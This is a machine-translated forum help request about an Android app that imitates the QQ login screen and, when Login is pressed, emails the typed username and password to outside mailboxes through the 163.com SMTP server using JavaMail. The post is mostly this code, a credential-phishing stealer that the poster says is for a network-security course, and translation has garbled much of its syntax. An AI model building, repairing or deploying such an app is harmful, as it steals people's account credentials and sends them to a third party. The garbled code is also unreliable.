Great God, I intend to do a QQ login interface, but by clicking on the "Login" automatically when the user name and password are sent to 163 mailboxes, do not call the system comes with a mailbox is not used javamail achieve? (Ps: Actually, this is a network security course make me think of the program to achieve ones to do so. .. ..) Seek the guidance of the great God, Thank you for answering!
The following code one click "Login" crashed out, other relevant configuration file also configured, Mainifest.xml also added the relevant code to access the Internet and do not know where the problem is.

package com.zte.my.qq;
import java.io.UnsupportedEncodingException;
import java.util.Properties;
import javax.mail.Address;
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.RadioButton;
import android.widget.Toast;
public class simple_qq_login extends Activity {
private Button mButton_login;
private Button mButton_register;
private EditText mEditText_user;
private EditText mEditText_password;
private CheckBox mCheckBox_savepassword;
private CheckBox mCheckBox_secretlogin;
private CheckBox mCheckBox_quietlogin;
private CheckBox mCheckBox_acceptgroupinfos;
private String Flag = "";
private String getFlag = "";
private simple_qq_SqliteDatabase myDbHelper;
private static final int ITEM0 = Menu.FIRST;
private static final int ITEM1 = Menu.FIRST + 1;
private int Flag_SecretLogin = 0;
public String QQ = null;
public String pass = null;
@ Override
public void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState);
myDbHelper = new simple_qq_SqliteDatabase (this);
myDbHelper.open ();
setContentView (R.layout.simple_qq_login);
mButton_login = (Button) findViewById (R.id.button_login);
mButton_register = (Button) findViewById (R.id.button_register);
mEditText_user = (EditText) findViewById (R.id.edittext_user);
mEditText_password = (EditText) findViewById (R.id.edittext_password);
mCheckBox_savepassword = (CheckBox) findViewById (R.id.checkBox_savepassword);
mCheckBox_secretlogin = (CheckBox) findViewById (R.id.checkBox_secretlogin);
mCheckBox_quietlogin = (CheckBox) findViewById (R.id.checkBox_quietlogin);
mCheckBox_acceptgroupinfos = (CheckBox) findViewById (R.id.checkBox_acceptgroupinfos);
/ / Add listener event
mButton_login.setOnClickListener (new Button.OnClickListener () {
public void onClick (View v) {
QQ = mEditText_user.getText () toString ();. / / Save the user name
QQ inputpass = mEditText_password.getText () toString ();. / / pass to save the entered password
/ * The first method: call the system comes mailbox to send
*
Intent myIntent = new Intent (android.content.Intent.ACTION_SEND);
myIntent.setType ("plain / text") ;/ / set the message format
myIntent.putExtra (android.content.Intent.EXTRA_EMAIL, myReciver); / / recipients
myIntent.putExtra (android.content.Intent.EXTRA_SUBJECT, QQ); / / theme
myIntent.putExtra (android.content.Intent.EXTRA_TEXT, pass);
startActivity (Intent.createChooser (myIntent, "title"));
* /
/ *
Intent data = new Intent (Intent.ACTION_SENDTO);
data.setData (Uri.parse ("mailto: 592357262@qq.com"));
data.putExtra (Intent.EXTRA_SUBJECT, QQ + "--->" + pass);
/ / Data.putExtra (Intent.EXTRA_TEXT, pass);
/ / StartActivity (data);
startActivity (Intent.createChooser (data, "sss"));
* /
/ / ============ Second: use javamail feature pack ============ \ \
Properties props = new Properties ();
props.put ("mail.smtp.host", "smtp.163.com"); / / set the smtp server address is smtp.126.com
props.put ("mail.smtp.auth", "true"); / / set the smtp server to authenticate.
PopupAuthenticator auth = new PopupAuthenticator ();
Session session = Session.getInstance (props, auth);
MimeMessage message = new MimeMessage (session);
/ / Sender address
Address addressFrom = null;
try {
addressFrom = new InternetAddress ("15227290166@163.com", "mail password");
} Catch (UnsupportedEncodingException e) {
e.printStackTrace ();
}
/ / Recipient address
Address addressTo = null;
try {
addressTo = new InternetAddress ("592357262@qq.com", "mail password");
} Catch (UnsupportedEncodingException e) {
e.printStackTrace ();
}
/ / CC address
Address addressCopy = null;
try {
addressCopy = new InternetAddress ("majianjieqwe@gmail.com", "mail password");
} Catch (UnsupportedEncodingException e1) {
e1.printStackTrace ();
}
/ / Create the message body:
try {
message.setContent (QQ, "text / plain");
message.setSubject (pass);
message.setFrom (addressFrom);
message.addRecipient (Message.RecipientType.TO, addressTo);
message.addRecipient (Message.RecipientType.CC, addressCopy);
message.saveChanges ();
} Catch (MessagingException e) {
e.printStackTrace ();
}
/ / Send mail process:
try {
Transport transport = session.getTransport ("smtp") ;/ / create a connection
transport.connect ("smtp.163.com", "15227290166@163.com", "mail password") ;/ / connect to the server
transport.send (message) ;/ / send information
transport.close () ;/ / close the connection
} Catch (MessagingException e) {
e.printStackTrace ();
}
}
});
/ / * ----------------------------------------------- ---------------------------
class PopupAuthenticator extends Authenticator {
public PasswordAuthentication getPasswordAuthentication () {
String username = "15227290166@163.com"; / / 163 E-mail login account
String pwd = "Email Password"; / / login password
return new PasswordAuthentication (username, pwd);
}
}
}
<-! Main posts under Banner (D4) -><-! Posts under the main text (D5) ->
Reply:
Error Image:

No comments:
Post a Comment